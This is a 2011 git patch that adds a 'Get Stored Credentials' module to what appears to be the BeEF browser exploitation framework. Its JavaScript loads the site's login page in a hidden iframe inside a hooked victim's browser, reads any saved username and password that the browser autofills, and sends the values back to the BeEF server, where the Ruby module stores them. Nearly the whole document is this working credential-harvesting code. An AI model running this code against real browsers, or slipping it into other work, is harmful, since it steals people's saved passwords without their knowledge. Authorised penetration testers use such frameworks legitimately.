From d5dd4f48943a9c65e72f446405757c58435d3b4d Mon Sep 17 00:00:00 2001 From: bcoles Date: Tue, 27 Dec 2011 07:03:21 +1030 Subject: [PATCH] Added Get Stored Credentials module Part of issue 558 --- .../browser/get_stored_credentials/command.js | 81 +++++++++++++++++++ .../get_stored_credentials/config.yaml | 27 +++++++ .../browser/get_stored_credentials/module.rb | 32 ++++++++ 3 files changed, 140 insertions(+) create mode 100644 modules/browser/get_stored_credentials/command.js create mode 100644 modules/browser/get_stored_credentials/config.yaml create mode 100644 modules/browser/get_stored_credentials/module.rb diff --git a/modules/browser/get_stored_credentials/command.js b/modules/browser/get_stored_credentials/command.js new file mode 100644 index 000000000..f4c882aaf --- /dev/null +++ b/modules/browser/get_stored_credentials/command.js @@ -0,0 +1,81 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var form_data = new Array(); + var login_url = "<%= @login_url %>"; + var internal_counter = 0; + var timeout = 30; + + // create iframe + iframe = document.createElement("iframe"); + iframe.setAttribute("id","credentials_container_<%= @command_id %>"); + iframe.setAttribute("src", login_url); + iframe.setAttribute("style","display:none;visibility:hidden;border:none;height:0;width:0;"); + document.body.appendChild(iframe); + + // try to read form data from login page + function waituntilok() { + + var iframe = document.getElementById("credentials_container_<%= @command_id %>"); + try { + + // check if login page is ready + if (iframe.contentWindow.document.readyState != "complete") { + if (internal_counter > timeout) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Timeout after '+timeout+' seconds'); + document.body.removeChild(iframe); + } else { + internal_counter++; + setTimeout(function() {waituntilok()},1000); + } + return; + } + + // find all forms with a password input field + for (var f=0; f < iframe.contentWindow.document.forms.length; f++) { + for (var e=0; e < iframe.contentWindow.document.forms[f].elements.length; e++) { + // return form data if it contains a password input field + if (iframe.contentWindow.document.forms[f].elements[e].type == "password") { + for (var i=0; i < iframe.contentWindow.document.forms[f].elements.length; i++) { + form_data.push(new Array(iframe.contentWindow.document.forms[f].elements[i].type, iframe.contentWindow.document.forms[f].elements[i].name, iframe.contentWindow.document.forms[f].elements[i].value)); + } + break; + } + } + } + + // return results + if (form_data.length) { + // return form data + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data='+JSON.stringify(form_data)); + } else { + // return if no password input fields were found + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not find any password input fields on '+login_url); + } + + } catch (e) { + // return if no forms were found or login page is cross-domain + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'form_data=Could not read form data from '+login_url); + } + document.body.removeChild(iframe); + } + + // wait until the login page has loaded + setTimeout(function() {waituntilok()},1000); + +}); + diff --git a/modules/browser/get_stored_credentials/config.yaml b/modules/browser/get_stored_credentials/config.yaml new file mode 100644 index 000000000..b538edda8 --- /dev/null +++ b/modules/browser/get_stored_credentials/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_stored_credentials: + enable: true + category: "Browser" + name: "Get Stored Credentials" + description: "This module retrieves saved username/password combinations from the login page on the hooked domain.

It will fail if more than one set of domain credentials are saved in the browser." + authors: ["bcoles"] + target: + working: ["FF"] + not_working: ["All"] + diff --git a/modules/browser/get_stored_credentials/module.rb b/modules/browser/get_stored_credentials/module.rb new file mode 100644 index 000000000..fb97c2998 --- /dev/null +++ b/modules/browser/get_stored_credentials/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_stored_credentials < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/butcher/index.html" + return [ + { 'name' => 'login_url', 'description' => 'Login URL', 'ui_label' => 'Login URL', 'value' => uri, 'width'=>'400px' } + ] + end + + def post_execute + content = {} + content['form_data'] = @datastore['form_data'] + save content + end + +end